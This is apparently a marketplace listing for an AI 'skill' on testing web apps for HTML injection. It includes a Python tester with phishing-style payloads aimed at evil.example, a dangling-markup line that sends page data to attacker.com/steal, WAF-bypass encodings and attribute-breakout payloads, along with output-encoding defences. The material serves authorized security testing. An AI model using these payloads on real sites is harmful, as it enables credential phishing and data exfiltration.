Html Injection Expert
Boost productivity using this skill, should, used, user. Includes structured workflows, validation checks, and reusable patterns for security.
HTML Injection Expert
Identify and test HTML injection vulnerabilities in web applications where user input is reflected in HTML responses without proper encoding. This skill covers reflected and stored HTML injection, tag injection for phishing, content spoofing, dangling markup attacks, and the boundary between HTML injection and cross-site scripting.
When to Use This Skill
Choose HTML Injection Expert when you need to:
- Test web applications for HTML content injection in authorized security assessments
- Identify input fields where user-supplied HTML is rendered without encoding
- Demonstrate content spoofing and phishing risks from HTML injection
- Differentiate between HTML injection and full XSS in vulnerability reports
Consider alternatives when:
- You need to test for JavaScript execution (use XSS-specific testing)
- You need to test API responses for injection (use API Fuzzing)
- You need to implement output encoding defensively (use OWASP encoding libraries)
Quick Start
import requests from urllib.parse import quote class HTMLInjectionTester: """Test for HTML injection vulnerabilities (authorized testing only).""" def __init__(self, base_url, session=None): self.base_url = base_url.rstrip('/') self.session = session or requests.Session() self.findings = [] # Test payloads (non-destructive, detection-focused) PAYLOADS = { 'basic_tag': '<h1>INJECTION_TEST</h1>', 'link_injection': '<a href="https://evil.example">Click here</a>', 'image_tag': '<img src=x onerror=alert(1)>', 'form_injection': '<form action="https://evil.example"><input name="cred"><input type="submit"></form>', 'iframe': '<iframe src="https://evil.example"></iframe>', 'style_injection': '<style>body{display:none}</style>', 'meta_redirect': '<meta http-equiv="refresh" content="0;url=https://evil.example">', 'encoded_angle': '<h1>encoded</h1>', } def test_parameter(self, endpoint, param_name, method='GET'): """Test a parameter for HTML injection.""" results = [] for name, payload in self.PAYLOADS.items(): try: if method == 'GET': resp = self.session.get( f"{self.base_url}{endpoint}", params={param_name: payload}, timeout=10 ) else: resp = self.session.post( f"{self.base_url}{endpoint}", data={param_name: payload}, timeout=10 ) # Check if payload is reflected unencoded reflected = payload in resp.text encoded_reflected = quote(payload) in resp.text result = { 'payload_name': name, 'reflected_raw': reflected, 'encoded': encoded_reflected, 'status': resp.status_code, } if reflected: result['vulnerable'] = True self.findings.append({ 'endpoint': endpoint, 'parameter': param_name, 'payload': name, 'severity': 'HIGH' if 'script' in payload.lower() or 'onerror' in payload.lower() else 'MEDIUM', }) results.append(result) except Exception as e: results.append({'payload_name': name, 'error': str(e)}) return results # tester = HTMLInjectionTester("https://target.example.com") # results = tester.test_parameter("/search", "q")
Core Concepts
HTML Injection Types
| Type | Description | Impact |
|---|---|---|
| Reflected | Payload in URL reflected in response | Phishing via crafted links |
| Stored | Payload saved and displayed to others | Persistent content spoofing |
| Content spoofing | Fake content injected into page | Misinformation, fake alerts |
| Form injection | Injected form captures credentials | Credential phishing |
| Dangling markup | Unclosed tags capture page content | Data exfiltration via CSS/img |
| Style injection | CSS injected to alter page appearance | UI redressing, content hiding |
Defensive Output Encoding
import html from markupsafe import escape def demonstrate_encoding_methods(user_input: str): """Show proper output encoding for different contexts.""" print(f"Raw input: {user_input}") print() # HTML context — use html.escape or markupsafe html_safe = html.escape(user_input) print(f"HTML context: {html_safe}") # Attribute context — html.escape with quote=True attr_safe = html.escape(user_input, quote=True) print(f"Attribute context: value=\"{attr_safe}\"") # URL context — urllib.parse.quote from urllib.parse import quote url_safe = quote(user_input, safe='') print(f"URL context: ?param={url_safe}") # JavaScript context — json.dumps for string embedding import json js_safe = json.dumps(user_input) print(f"JS context: var x = {js_safe};") # CSS context — escape non-alphanumeric characters css_safe = ''.join( c if c.isalnum() else f'\\{ord(c):06x}' for c in user_input ) print(f"CSS context: content: '{css_safe}';") demonstrate_encoding_methods('<img src=x onerror="alert(document.cookie)">')
Configuration
| Parameter | Description | Default |
|---|---|---|
target_url | Target application URL | Required |
test_method | HTTP method (GET, POST) | "GET" |
encoding_check | Verify output encoding type | true |
payload_set | Payload categories to test | All |
follow_redirects | Follow HTTP redirects | false |
proxy | Proxy for traffic inspection | None |
timeout | Request timeout in seconds | 10 |
context_detection | Detect injection context (HTML, attribute, JS) | true |
Best Practices
-
Test all injection contexts, not just HTML body — User input may be reflected in HTML attributes (
value="USER_INPUT"), JavaScript blocks (var x = "USER_INPUT"), CSS (content: 'USER_INPUT'), or HTTP headers. Each context requires different encoding and different payloads. -
Distinguish between HTML injection and XSS in reports — HTML injection without JavaScript execution is typically rated Medium severity (content spoofing, phishing). Full XSS with script execution is High/Critical. Accurately classifying the vulnerability severity helps developers prioritize fixes.
-
Test for dangling markup injection — Even when
<script>tags are blocked, unclosed tags like<img src="https://attacker.com/steal?data=can capture subsequent page content (tokens, emails) as the browser tries to find the closing quote. This is a less well-known but impactful attack. -
Verify encoding is applied consistently across the application — A single unencoded output is enough for exploitation. Test the same parameter across different pages and contexts. Often encoding is applied inconsistently — the search page encodes but the results page doesn't.
-
Use Content Security Policy as defense-in-depth — CSP headers (
Content-Security-Policy: default-src 'self') prevent injected content from loading external resources, even if HTML injection succeeds. Test whether the application's CSP would block your injected content.
Common Issues
WAF blocks obvious payloads but allows encoded variants — Try URL encoding (%3Cscript%3E), double encoding (%253Cscript%253E), HTML entities (<script>), or Unicode alternatives. WAFs that pattern-match on specific strings are often bypassable with encoding tricks.
Reflected content is in an HTML attribute context — If input lands inside an attribute (<input value="USER_INPUT">), you need to break out of the attribute first: " onmouseover="alert(1) or "><img src=x onerror=alert(1)>. Standard tag injection payloads won't work inside attributes.
HTML injection is present but CSP blocks exploitation — A strict CSP can prevent injected scripts from executing and injected forms from submitting to external domains. This reduces but doesn't eliminate risk — content spoofing and in-page phishing are still possible. Report the HTML injection with the CSP mitigation noted.
Reviews
No reviews yet. Be the first to review this template!
Similar Templates
Full-Stack Code Reviewer
Comprehensive code review skill that checks for security vulnerabilities, performance issues, accessibility, and best practices across frontend and backend code.
Test Suite Generator
Generates comprehensive test suites with unit tests, integration tests, and edge cases. Supports Jest, Vitest, Pytest, and Go testing.
Pro Architecture Workspace
Battle-tested skill for architectural, decision, making, framework. Includes structured workflows, validation checks, and reusable patterns for development.